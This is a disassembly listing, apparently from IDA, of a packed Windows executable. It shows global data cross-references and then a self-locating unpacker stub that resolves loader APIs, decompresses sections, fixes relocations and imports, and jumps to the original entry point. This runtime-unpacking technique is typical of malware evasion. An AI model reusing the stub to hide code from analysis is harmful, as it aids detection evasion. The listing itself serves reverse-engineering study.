; sub_406359+50r dword_435968 dd 0 ; DATA XREF: sub_405770:loc_405A00w ; sub_405770:loc_405A45w ... dword_43596C dd 0 ; DATA XREF: sub_405770+3A6w ; sub_406359+84r dword_435970 dd 0 ; DATA XREF: sub_405770:loc_405BFCw ; sub_406359:loc_406409r dword_435974 dd 0 ; DATA XREF: sub_405770+487w ; sub_406359+B8r dword_435978 dd 0 ; DATA XREF: sub_405770:loc_405ECDw ; sub_406359:loc_40643Dr dword_43597C dd 0 ; DATA XREF: sub_405770+758w ; sub_406359+ECr dword_435980 dd 0 ; DATA XREF: sub_405770:loc_405FB8w ; sub_405770+877w ... dword_435984 dd 0 ; DATA XREF: sub_405770+872w ; sub_406359+120r dword_435988 dd 0 ; DATA XREF: sub_405770:loc_40604Cw ; sub_406359:loc_4064A5r ... dword_43598C dd 0 ; DATA XREF: sub_405770+8D7w ; sub_406359+154r dword_435990 dd 0 ; DATA XREF: sub_405770:loc_406157w ; sub_406359:loc_4064D9r ... dword_435994 dd 0 ; DATA XREF: sub_405770+9E2w ; sub_406359+188r dword_435998 dd 0 ; DATA XREF: sub_405770:loc_4061A1w ; sub_406359:loc_40650Dr dword_43599C dd 0 ; DATA XREF: sub_405770+A2Cw ; sub_406359+1BCr dword_4359A0 dd 0 ; DATA XREF: sub_405770:loc_4061EBw ; sub_406359:loc_406541r dword_4359A4 dd 0 ; DATA XREF: sub_405770+A76w ; sub_406359+1F0r dword_4359A8 dd 0 ; DATA XREF: sub_405770:loc_40625Fw ; sub_406359:loc_406575r dword_4359AC dd 0 ; DATA XREF: sub_405770+AEAw ; sub_406359+224r dword_4359B0 dd 0 ; DATA XREF: sub_405770:loc_4062A9w ; sub_406359:loc_4065A9r dword_4359B4 dd 0 ; DATA XREF: sub_405770+B34w ; sub_406359+258r dword_4359B8 dd 0 ; DATA XREF: sub_405770:loc_406347w ; sub_406359:loc_4065DDr dword_4359BC dd 0 ; DATA XREF: sub_405770+BD2w ; sub_406359+28Cr dd 2 dup(0) dword_4359C8 dd 80h dup(0) ; DATA XREF: sub_4067EA+6Do dword_435BC8 dd 17h dup(0) ; DATA XREF: sub_406D2D:loc_406E46o ; sub_406D2D+12Do ... dword_435C24 dd 0 ; DATA XREF: sub_407028:loc_40707Bw ; sub_407028+5Br ... dword_435C28 dd 0 ; DATA XREF: sub_407028+33r ; sub_407028+3Ew ... align 10h dword_435C30 dd 18h dup(0) ; DATA XREF: sub_407580:loc_40769Eo ; sub_407580+12Ao dword_435C90 dd 80h dup(0) ; DATA XREF: sub_4076B0+81o ; sub_4076B0+A9o dword_435E90 dd 80h dup(0) ; DATA XREF: sub_40776C:loc_4077A4o ; sub_40776C+60o dword_436090 dd 80h dup(0) ; DATA XREF: sub_4077E4+51o ; sub_4077E4+83o ... dword_436290 dd 80h dup(0) ; DATA XREF: sub_4079C1+68o ; sub_4079C1+8Eo ... dword_436490 dd 4 dup(0) ; DATA XREF: sub_407D15+42o dword_4364A0 dd 0 ; DATA XREF: sub_401967+96r ; sub_4025CE+14Eo ... dd 7Fh dup(0) dword_4366A0 dd 0 ; DATA XREF: sub_41229A+4Cw ; sub_412383+3Ew ... dword_4366A4 dd 0 ; DATA XREF: sub_401967+6Dr ; sub_401967:loc_401B79r ... dword_4366A8 dd 0 ; DATA XREF: sub_40F292+15Ew ; sub_410547+A2w ... dword_4366AC dd 0 ; DATA XREF: sub_402E5D+Cr ; sub_404EE8+78w ... dword_4366B0 dd 0 ; DATA XREF: sub_40EC10+6Dr ; sub_40EC10:loc_40EC8Dr ... dword_4366B4 dd 0 ; DATA XREF: sub_401141+122w ; sub_401141+26Fw ... byte_4366B8 db 0 ; DATA XREF: sub_40887D+57o ; sub_4089DC+2392r ... align 4 dd 3C25h dup(0) dword_445750 dd 0D6B8h dup(0) ; DATA XREF: .rdata:off_4211C0o dword_47B230 dd 0 ; DATA XREF: sub_40E6BB:loc_40EB22o ; sub_41229A+13o ... dword_47B234 dd 20h dup(0) ; DATA XREF: sub_40E6BB+3FFo ; sub_40E6BB+4B8o ... dword_47B2B4 dd 10h dup(0) ; DATA XREF: sub_40E6BB+41Bo dword_47B2F4 dd 24h dup(0) ; DATA XREF: sub_40E6BB+432o dword_47B384 dd 0 ; DATA XREF: sub_40E6BB+421w ; sub_40E6BB+4CFw ... dword_47B388 dd 0 ; DATA XREF: sub_40E6BB+440w dd 3 dup(0) dword_47B398 dd 0 ; DATA XREF: sub_401DEF+5o ; sub_401DEF+62r ... dd 5 dup(0) dword_47B3B0 dd 0 ; DATA XREF: sub_401DEF+7Dr ; sub_4089DC+9D6r dd 1Fh dup(0) dword_47B430 dd 0 ; DATA XREF: sub_41248A+16o ; sub_4124A9+19o dword_47B434 dd 2B9h dup(0) ; DATA XREF: sub_41243D+3Do dword_47BF18 dd 1Bh ; DATA XREF: sub_401000:loc_40106Er ; sub_401DEF+47o ... dword_47BF1C dd 0 ; DATA XREF: sub_40E6BB+139r byte_47BF20 db 0 ; DATA XREF: sub_408601+2Ar ; sub_408601+33o align 4 dword_47BF24 dd 0 ; DATA XREF: sub_4089DC+5CD5w ; sub_40E6BB+46Cw ... dword_47BF28 dd 0 ; DATA XREF: sub_4089DC+91Dr ; sub_40E6BB+404w dword_47BF2C dd 0 ; DATA XREF: sub_40F039+20r ; sub_40F292+87o dword_47BF30 dd 0 ; DATA XREF: sub_40F105+D3r ; sub_40F105+119r ... dword_47BF34 dd 0 ; DATA XREF: sub_40F009:loc_40F01Dr ; sub_40F292+115w dword_47BF38 dd 0 ; DATA XREF: sub_40F009r ; sub_40F105+32r ... dword_47BF3C dd 0Dh dup(0) ; DATA XREF: sub_40F105+CEo ; sub_40F105+114o ... dword_47BF70 dd 0 ; DATA XREF: sub_40F009:loc_40F02Ar ; sub_40F105+53r ... align 8 dword_47BF78 dd 0 ; DATA XREF: sub_40F4D9+15Cr align 10h dword_47BF80 dd 80h dup(0) ; DATA XREF: sub_40FD09+8Ao byte_47C180 db 0 ; DATA XREF: sub_410B55:loc_410BB2r ; sub_410B55+93w align 4 dword_47C184 dd 0Eh dup(0) ; DATA XREF: sub_411551+40o dword_47C1BC dd 0 ; DATA XREF: sub_414D2D+Aw dword_47C1C0 dd 0 ; DATA XREF: sub_41D38D+14Ar dword_47C1C4 dd 2 ; DATA XREF: .text:00416142w ; sub_417F18r ... dword_47C1C8 dd 0A28h ; DATA XREF: .text:00416162w ; .text:00416173w dword_47C1CC dd 501h ; DATA XREF: .text:0041617Ew dword_47C1D0 dd 5 ; DATA XREF: .text:0041614Bw ; sub_417F18+9r ... dword_47C1D4 dd 1 ; DATA XREF: .text:00416153w dword_47C1D8 dd 1 ; DATA XREF: sub_40E6BB:loc_40E9A6r ; sub_41B9A9+8Fw dword_47C1DC dd 342998h ; DATA XREF: sub_40E6BB+2F4r ; sub_40E6BB+314r ... dd 0 dword_47C1E4 dd 3429B8h ; DATA XREF: sub_41B776+48w ; sub_41B776:loc_41B827r ... dd 3 dup(0) off_47C1F4 dd offset aCM_unpackerPac ; DATA XREF: sub_41B9A9+37w ; "C:\\m_unpacker\\packed.exe" dd 0 byte_47C1FC db 0 ; DATA XREF: sub_415DF0+35w ; sub_417E14+5r align 10h dword_47C200 dd 0 ; DATA XREF: sub_415DF0+2Fw dword_47C204 dd 0 ; DATA XREF: sub_415DF0+Fr ; sub_415DF0+C1w dword_47C208 dd 0 ; DATA XREF: .text:0041622Ew ; sub_41B776:loc_41B788r ... align 10h dword_47C210 dd 0 ; DATA XREF: sub_4160D0r sub_4160F5r ... align 10h dword_47C220 dd 0 ; DATA XREF: sub_4192C8+14Cw ; sub_41A95C:loc_41A985w ... align 8 dword_47C228 dd 77FC5940h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_417F83+4o ; .data:off_42DC10o dd 77FC5960h, 0FFFFFFFFh, 4 dup(0) dd 77FC5980h, 0FFFFFFFFh, 4 dup(0) dd 77FC59A0h, 0FFFFFFFFh, 4 dup(0) dword_47C288 dd 77FC59C0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:0042DC40o dd 77FC59E0h, 0FFFFFFFFh, 4 dup(0) dd 77FC5A00h, 0FFFFFFFFh, 4 dup(0) dword_47C2D0 dd 77FC5A20h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:0042DC60o dword_47C2E8 dd 77FC5A40h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:0042DC70o dd 143D48h, 0FFFFFFFFh, 4 dup(0) dd 143D70h, 0FFFFFFFFh, 4 dup(0) dword_47C330 dd 143D98h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:0042DC90o dd 143DC0h, 0FFFFFFFFh, 4 dup(0) dd 143DE8h, 0FFFFFFFFh, 4 dup(0) dword_47C378 dd 0 ; DATA XREF: sub_4192ADr dword_47C37C dd 0 ; DATA XREF: sub_4149EA+147r ; sub_4149EA+192r ... dword_47C380 dd 1 ; DATA XREF: sub_419C39+Er ; sub_419C39+31w ... dd 2 dup(0) dword_47C38C dd 1 ; DATA XREF: sub_41AC67:loc_41ADD4r ; sub_41ADFD+1Dw ... dword_47C390 dd 0 ; DATA XREF: sub_41B570+21r align 8 aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41B9A9+23o ; .data:off_47C1F4o align 4 dd 3Ah dup(0) byte_47C49C db 0 ; DATA XREF: sub_41B9A9:loc_41B9C0w align 10h dword_47C4A0 dd 1 ; DATA XREF: sub_41BA4B+2r ; sub_41BA4B+24w ... dword_47C4A4 dd 1 ; DATA XREF: sub_41C3E0+Er ; sub_41C3E0+2Ew ... dword_47C4A8 dd 0 ; DATA XREF: .data:off_42E1D8o ; .data:off_42E1DCo ... dword_47C4AC dd 0 ; DATA XREF: sub_4178F2+9Cr dword_47C4B0 dd 0 ; DATA XREF: sub_4178F2+Br dd 0Bh dup(0) dword_47C4E0 dd 0 ; DATA XREF: sub_419C39+265r ; sub_41C3E0+14Ar ... align 10h dword_47C4F0 dd 0 ; DATA XREF: sub_419C39+9Dr ; sub_419C39+272r ... dd 0Ah dup(0) dword_47C51C dd 77E7C706h ; DATA XREF: sub_41CFB8+Cr ; sub_41CFB8+39w ... dword_47C520 dd 0 ; DATA XREF: sub_4192C8+7r dword_47C524 dd 0 ; DATA XREF: sub_41DFF5+1Ar dword_47C528 dd 77C26E79h ; DATA XREF: sub_41DFF5:loc_41E162r ; sub_41DFF5+182r ... dword_47C52C dd 0 ; DATA XREF: sub_41E283+9r ; sub_41E283+38w ... dword_47C530 dd 0 ; DATA XREF: sub_41E283+4Dw ; sub_41E283:loc_41E348r dword_47C534 dd 0 ; DATA XREF: sub_41E283+5Bw ; sub_41E283+D6r dword_47C538 dd 0 ; DATA XREF: sub_41E283+7Bw ; sub_41E283:loc_41E303r dword_47C53C dd 0 ; DATA XREF: sub_41E283+6Cw ; sub_41E283+9Cr dd 30h dup(0) dword_47C600 dd 0 ; DATA XREF: sub_41D38D+3Dr dword_47C604 dd 0 ; DATA XREF: sub_41EE93:loc_41EF15o ; sub_41EE93+87r dword_47C608 dd 0 ; DATA XREF: sub_41EE93:loc_41EEDBo ; sub_41EE93+4Dr dword_47C60C dd 0 ; DATA XREF: sub_41EE93:loc_41EECEo ; sub_41EE93+40r dword_47C610 dd 0 ; DATA XREF: sub_41EE93:loc_41EEE8o ; sub_41EE93+5Ar dd 4 dup(0) dword_47C624 dd 0 ; DATA XREF: sub_41F4EA+11r ; sub_41F4EA+31w ... dword_47C628 dd 0 ; DATA XREF: sub_41F79A+11r ; sub_41F79A+2Ew ... dword_47C62C dd 0 ; DATA XREF: sub_4178F2+79r dword_47C630 dd 0 ; DATA XREF: sub_4178F2+29r dword_47C634 dd 0 ; DATA XREF: sub_4178F2+4Cr dword_47C638 dd 20h ; DATA XREF: sub_417B3C+Fr ; sub_418EB7+Fr ... align 10h dword_47C640 dd 341F20h ; DATA XREF: sub_4162EB+ACr ; sub_417AB9+5Br ... dword_47C644 dd 3Fh dup(0) ; DATA XREF: sub_41BB6D+9Ao dword_47C740 dd 0 ; DATA XREF: sub_41AA3D+1Aw ; sub_41AA66+87r ... dword_47C744 dd 342770h ; DATA XREF: sub_41ABF8+28r ; sub_41ABF8:loc_41AC37r ... dword_47C748 dd 0 ; DATA XREF: sub_41AA3D+15w ; sub_41AC67+F5w ... dd 5 dup(0) byte_47C760 db 0 ; DATA XREF: sub_41AA3D+6o ; sub_41AC67+55o ... byte_47C761 db 0 ; DATA XREF: sub_415B3D+5Er ; sub_41AA66+107w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_47C864 dd 4E4h ; DATA XREF: sub_41AA3D+10w ; sub_41AA66+19r ... align 10h word_47C870 dw 0 ; DATA XREF: sub_41AA3D+1Fo ; sub_41AC67+10Co ... align 10h byte_47C880 db 0 ; DATA XREF: sub_41AA66:loc_41AB7Bw ; sub_41AA66:loc_41AB98w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh dword_47C980 dd 0 ; DATA XREF: sub_4180E6+21w ; sub_418159+21Cr ... dword_47C984 dd 0 ; DATA XREF: sub_4180E6+28w ; sub_41812Er ... dword_47C988 dd 0 ; DATA XREF: sub_4180E6+15w ; sub_41812E+8r ... dword_47C98C dd 0 ; DATA XREF: sub_4149EA+6Cr ; sub_414C06+18r ... dword_47C990 dd 0 ; DATA XREF: sub_4180E6+2Fw ; sub_418159+300w ... dword_47C994 dd 0 ; DATA XREF: sub_4180E6+3Cw ; sub_418471+5r ... dword_47C998 dd 0 ; DATA XREF: sub_418159+229r ; sub_418159+249r ... dword_47C99C dd 340000h ; DATA XREF: sub_414844+5Fr ; sub_4149EA+DAr ... dword_47C9A0 dd 1 ; DATA XREF: sub_414844+13r ; sub_4149EA:loc_414A20r ... dword_47C9A4 dd 342EF0h ; DATA XREF: sub_417C8D+30r ; sub_417C8D+51r ... dd 6 dup(0) dword_47C9C0 dd 400h dup(0) ; DATA XREF: .data:off_42D988o ; .data:0042D990o dword_47D9C0 dd 200h ; DATA XREF: sub_417C8D+24r ; sub_417D6Br ... dword_47D9C4 dd 142340h ; DATA XREF: .text:00416224w ; sub_41B70D+Fr ... dword_47D9C8 dd 1 ; DATA XREF: sub_41B776+9Fw dword_47D9CC dd 3436FCh ; DATA XREF: sub_415DF0+46r ; sub_415DF0:loc_415E4Ar ... dword_47D9D0 dd 3436F8h ; DATA XREF: sub_415DF0+3Cr ; sub_415DF0+62r ... dword_47D9D4 dd 1 ; DATA XREF: sub_41AF4Dr ; sub_41AF4D+11w ... _data ends ; Section 4. (virtual address 0007E000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 0007E000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute fuck segment para public 'CODE' use32 assume cs:fuck ;org 47E000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 3 dup(0) dd 7E028h, 7E035h, 5 dup(0) dd 4E52454Bh, 32334C45h, 4C4C442Eh, 0E805D800h, 0E7A5FD77h dd 77h, 4C000000h, 4C64616Fh, 61726269h, 417972h, 65470000h dd 6F725074h, 64644163h, 73736572h, 2 dup(0) dd 47E07900h, 47E07D00h, 5 dup(0) db 0, 90h ; --------------------------------------------------------------------------- public start start: call sub_47E1B0 add [eax], dl ; --------------------------------------------------------------------------- db 3 dup(0) dd 200h, 2B0h, 6 dup(0) dd 0D7000000h, 880001E9h, 0A8h, 38h, 1Ah dup(0) dd 56000000h, 75747269h, 6C416C61h, 636F6Ch, 61427349h dd 61655264h, 72745064h, 0E7980A00h, 0E7339C77h, 0E6000077h dd 77h, 0 dd 40000000h, 0 dd 29DB400h, 0AB000000h, 1611971h, 0 dd 72695600h, 6C617574h, 746F7250h, 746365h, 77E6169Ah dd 4, 1, 2 dup(0) dd 12FFC4h, 0 dd 7FFDF000h, 12FFB0h, 7FFE0304h, 77F5180Bh, 77F52E0Fh ; =============== S U B R O U T I N E ======================================= sub_47E1B0 proc near ; CODE XREF: fuck:startp call $+5 pop ebp sub ebp, 4011B5h mov [ebp+401198h], eax mov [ebp+40119Ch], ebx mov [ebp+4011A0h], ecx mov dword ptr ss:loc_4011A4[ebp], edx mov [ebp+4011A8h], esi mov [ebp+4011ACh], edi cmp dword ptr [ebp+401188h], 0 jz short loc_47E214 mov esp, [ebp+401194h] mov eax, [ebp+401198h] mov ebx, [ebp+40119Ch] mov ecx, [ebp+4011A0h] mov edx, dword ptr ss:loc_4011A4[ebp] mov esi, [ebp+4011A8h] mov edi, [ebp+4011ACh] retn ; --------------------------------------------------------------------------- loc_47E214: ; CODE XREF: sub_47E1B0+37j mov [ebp+401194h], esp add dword ptr [ebp+401194h], 4 mov dword ptr [ebp+401188h], 1 lea eax, [ebp+401028h] push eax call dword ptr ss:loc_401035[ebp] mov [ebp+40114Dh], eax lea ebx, loc_40112B[ebp] push ebx push eax call dword ptr [ebp+401039h] mov [ebp+401145h], eax lea ebx, [ebp+401138h] push ebx push dword ptr [ebp+40114Dh] call dword ptr [ebp+401039h] mov [ebp+401149h], eax lea ebx, [ebp+401171h] push ebx push dword ptr [ebp+40114Dh] call dword ptr [ebp+401039h] mov [ebp+401180h], eax call $+5 pop edx loc_47E28A: ; CODE XREF: sub_47E1B0+E2j ; sub_47E1B0+104j ... cmp word ptr [edx], 5A4Dh jz short loc_47E294 dec edx jmp short loc_47E28A ; --------------------------------------------------------------------------- loc_47E294: ; CODE XREF: sub_47E1B0+DFj movzx ecx, word ptr [edx+3Ch] add ecx, edx push edx push ecx push 4 push ecx call dword ptr [ebp+401149h] pop ecx pop edx or eax, eax jnz short loc_47E2B3 cmp dword ptr [ecx], 4550h jz short loc_47E2B6 loc_47E2B3: ; CODE XREF: sub_47E1B0+F9j dec edx jmp short loc_47E28A ; --------------------------------------------------------------------------- loc_47E2B6: ; CODE XREF: sub_47E1B0+101j cmp dword ptr [ecx+70h], 3DCh jz short loc_47E2C2 dec edx jmp short loc_47E28A ; --------------------------------------------------------------------------- loc_47E2C2: ; CODE XREF: sub_47E1B0+10Dj mov dword ptr ss:loc_401159[ebp], edx push ecx lea eax, [ebp+401184h] push eax push 4 push 1000h push ecx call dword ptr [ebp+401180h] pop ecx mov eax, dword ptr ss:loc_40118C[ebp] mov [ecx+78h], eax mov eax, [ebp+401190h] mov [ecx+7Ch], eax push ecx mov ecx, 0Ah xor edx, edx loc_47E2F9: ; CODE XREF: sub_47E1B0+16Bj lea esi, [ebp+4010DBh] add esi, edx lodsd test eax, eax jz short loc_47E31D add eax, dword ptr ss:loc_401159[ebp] pusha lea ebx, sub_401000[ebp] push ebx call eax pop eax popa add edx, 4 loop loc_47E2F9 loc_47E31D: ; CODE XREF: sub_47E1B0+154j pop ecx push ecx lea eax, [ebp+401184h] push eax push 4 push 1000h push ecx call dword ptr [ebp+401180h] pop ecx mov eax, [ebp+40116Dh] mov [ecx+88h], eax mov dword ptr [ecx+8Ch], 368h push 40h push 1000h push 1000000h push 0 call dword ptr [ebp+401145h] mov ebx, eax add ebx, 200000h lea esi, [ebp+40108Bh] lea edi, [ebp+4010B3h] xor edx, edx mov ecx, 0Ah loc_47E37A: ; CODE XREF: sub_47E1B0+1F6j lodsd test eax, eax jz short loc_47E3A8 add eax, dword ptr ss:loc_401159[ebp] push eax push ebx push eax call sub_47E545 add esp, 8 pop eax pusha lea ecx, [ebp+4010B3h] add ecx, edx mov ecx, [ecx] mov edi, eax mov esi, ebx rep movsb popa add edx, 4 loop loc_47E37A loc_47E3A8: ; CODE XREF: sub_47E1B0+1CDj cmp dword ptr [ebp+401151h], 0 jz short loc_47E417 mov eax, [ebp+401151h] mov ebx, dword ptr ss:loc_401159[ebp] mov esi, ebx movzx edi, word ptr [esi+3Ch] add edi, esi mov edx, [edi+34h] pusha sub ebx, edx mov [ebp+401155h], ebx popa cmp edx, ebx jz short loc_47E417 add ebx, eax loc_47E3D8: ; CODE XREF: sub_47E1B0+265j cmp dword ptr [ebx], 0 jz short loc_47E417 mov eax, [ebx] mov ecx, [ebx+4] shr ecx, 1 add ebx, 8 loc_47E3E7: ; CODE XREF: sub_47E1B0+263j movzx edi, word ptr [ebx] mov edx, edi shr edi, 0Ch cmp edi, 3 jnz short loc_47E40E mov edi, edx and edi, 0FFFh add edi, eax add edi, dword ptr ss:loc_401159[ebp] push eax mov eax, [ebp+401155h] add [edi], eax pop eax loc_47E40E: ; CODE XREF: sub_47E1B0+242j mov edi, edx add ebx, 2 loop loc_47E3E7 jmp short loc_47E3D8 ; --------------------------------------------------------------------------- loc_47E417: ; CODE XREF: sub_47E1B0+1FFj ; sub_47E1B0+224j ... mov eax, dword ptr ss:loc_40115D[ebp] or eax, eax jz short loc_47E432 add eax, dword ptr ss:loc_401159[ebp] mov edi, dword ptr ss:loc_401079[ebp] mov esi, [eax+8] mov [esi], edi loc_47E432: ; CODE XREF: sub_47E1B0+26Fj mov esi, [ebp+401161h] add esi, dword ptr ss:loc_401159[ebp] sub esi, 14h loc_47E441: ; CODE XREF: sub_47E1B0+2E3j add esi, 14h cmp dword ptr [esi+10h], 0 jz loc_47E4DE mov ebx, [esi+0Ch] add ebx, dword ptr ss:loc_401159[ebp] push esi push ebx call dword ptr ss:loc_401035[ebp] pop esi mov dword ptr ss:loc_401165[ebp], eax cmp dword ptr [esi], 0 jz short loc_47E47E mov edi, [esi] add edi, dword ptr ss:loc_401159[ebp] mov ecx, [esi+10h] add ecx, dword ptr ss:loc_401159[ebp] jmp short loc_47E490 ; --------------------------------------------------------------------------- loc_47E47E: ; CODE XREF: sub_47E1B0+2B9j mov edi, [esi+10h] add edi, dword ptr ss:loc_401159[ebp] mov ecx, [esi+10h] add ecx, dword ptr ss:loc_401159[ebp] loc_47E490: ; CODE XREF: sub_47E1B0+2CCj ; sub_47E1B0+32Cj cmp dword ptr [edi], 0 jz short loc_47E441 mov ebx, [edi] bt ebx, 1Fh jb short loc_47E4BD add ebx, dword ptr ss:loc_401159[ebp] add ebx, 2 push ecx push edi push ebx push dword ptr ss:loc_401165[ebp] call dword ptr [ebp+401039h] pop edi pop ecx mov [edi], eax mov [ecx], eax jmp short loc_47E4D6 ; --------------------------------------------------------------------------- loc_47E4BD: ; CODE XREF: sub_47E1B0+2EBj shl ebx, 1 shr ebx, 1 push ecx push edi push ebx push dword ptr ss:loc_401165[ebp] call dword ptr [ebp+401039h] pop edi pop ecx mov [edi], eax mov [ecx], eax loc_47E4D6: ; CODE XREF: sub_47E1B0+30Bj add edi, 4 add ecx, 4 jmp short loc_47E490 ; --------------------------------------------------------------------------- loc_47E4DE: ; CODE XREF: sub_47E1B0+298j mov ecx, 0Ah xor edx, edx loc_47E4E5: ; CODE XREF: sub_47E1B0+357j lea esi, [ebp+401103h] add esi, edx lodsd test eax, eax jz short loc_47E509 add eax, dword ptr ss:loc_401159[ebp] pusha lea ebx, sub_401000[ebp] push ebx call eax pop eax popa add edx, 4 loop loc_47E4E5 loc_47E509: ; CODE XREF: sub_47E1B0+340j mov esp, [ebp+401194h] mov eax, [ebp+401198h] mov ebx, [ebp+40119Ch] mov ecx, [ebp+4011A0h] mov edx, dword ptr ss:loc_4011A4[ebp] mov esi, [ebp+4011A8h] mov edi, [ebp+4011ACh] mov edx, [ebp+401169h] add edx, dword ptr ss:loc_401159[ebp] jmp edx sub_47E1B0 endp ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; =============== S U B R O U T I N E ======================================= sub_47E545 proc near ; CODE XREF: sub_47E1B0+1D8p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0047E5E4 SIZE 0000000A BYTES pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h xor ebx, ebx loc_47E553: ; CODE XREF: sub_47E545+16j movsb mov bl, 2 loc_47E556: ; CODE XREF: sub_47E545+3Bj ; sub_47E545+81j call sub_47E5C8 jnb short loc_47E553 xor ecx, ecx call sub_47E5C8 jnb short loc_47E582 xor eax, eax call sub_47E5C8 jnb short loc_47E592 mov bl, 2 inc ecx mov al, 10h loc_47E574: ; CODE XREF: sub_47E545+36j call sub_47E5C8 adc al, al jnb short loc_47E574 jnz short loc_47E5BE stosb jmp short loc_47E556 ; --------------------------------------------------------------------------- loc_47E582: ; CODE XREF: sub_47E545+1Fj call sub_47E5D4 sub ecx, ebx jnz short loc_47E59B call sub_47E5D2 jmp short loc_47E5BA ; --------------------------------------------------------------------------- loc_47E592: ; CODE XREF: sub_47E545+28j lodsb shr eax, 1 jz short loc_47E5E4 adc ecx, ecx jmp short loc_47E5B7 ; --------------------------------------------------------------------------- loc_47E59B: ; CODE XREF: sub_47E545+44j xchg eax, ecx dec eax shl eax, 8 lodsb call sub_47E5D2 cmp eax, 7D00h jnb short loc_47E5B7 cmp ah, 5 jnb short loc_47E5B8 cmp eax, 7Fh ja short loc_47E5B9 loc_47E5B7: ; CODE XREF: sub_47E545+54j ; sub_47E545+66j inc ecx loc_47E5B8: ; CODE XREF: sub_47E545+6Bj inc ecx loc_47E5B9: ; CODE XREF: sub_47E545+70j xchg eax, ebp loc_47E5BA: ; CODE XREF: sub_47E545+4Bj mov eax, ebp mov bl, 1 loc_47E5BE: ; CODE XREF: sub_47E545+38j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_47E556 sub_47E545 endp ; =============== S U B R O U T I N E ======================================= sub_47E5C8 proc near ; CODE XREF: sub_47E545:loc_47E556p ; sub_47E545+1Ap ... add dl, dl jnz short locret_47E5D1 mov dl, [esi] inc esi adc dl, dl locret_47E5D1: ; CODE XREF: sub_47E5C8+2j retn sub_47E5C8 endp ; =============== S U B R O U T I N E ======================================= sub_47E5D2 proc near ; CODE XREF: sub_47E545+46p ; sub_47E545+5Cp xor ecx, ecx sub_47E5D2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_47E5D4 proc near ; CODE XREF: sub_47E545:loc_47E582p inc ecx loc_47E5D5: ; CODE XREF: sub_47E5D4+Dj call sub_47E5C8 adc ecx, ecx call sub_47E5C8 jb short loc_47E5D5 retn sub_47E5D4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47E545 loc_47E5E4: ; CODE XREF: sub_47E545+50j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn ; END OF FUNCTION CHUNK FOR sub_47E545 ; --------------------------------------------------------------------------- align 2000h fuck ends ; Section 5. (virtual address 00080000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00080000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 480000h dd 80h dup(0) align 1000h _idata2 ends end start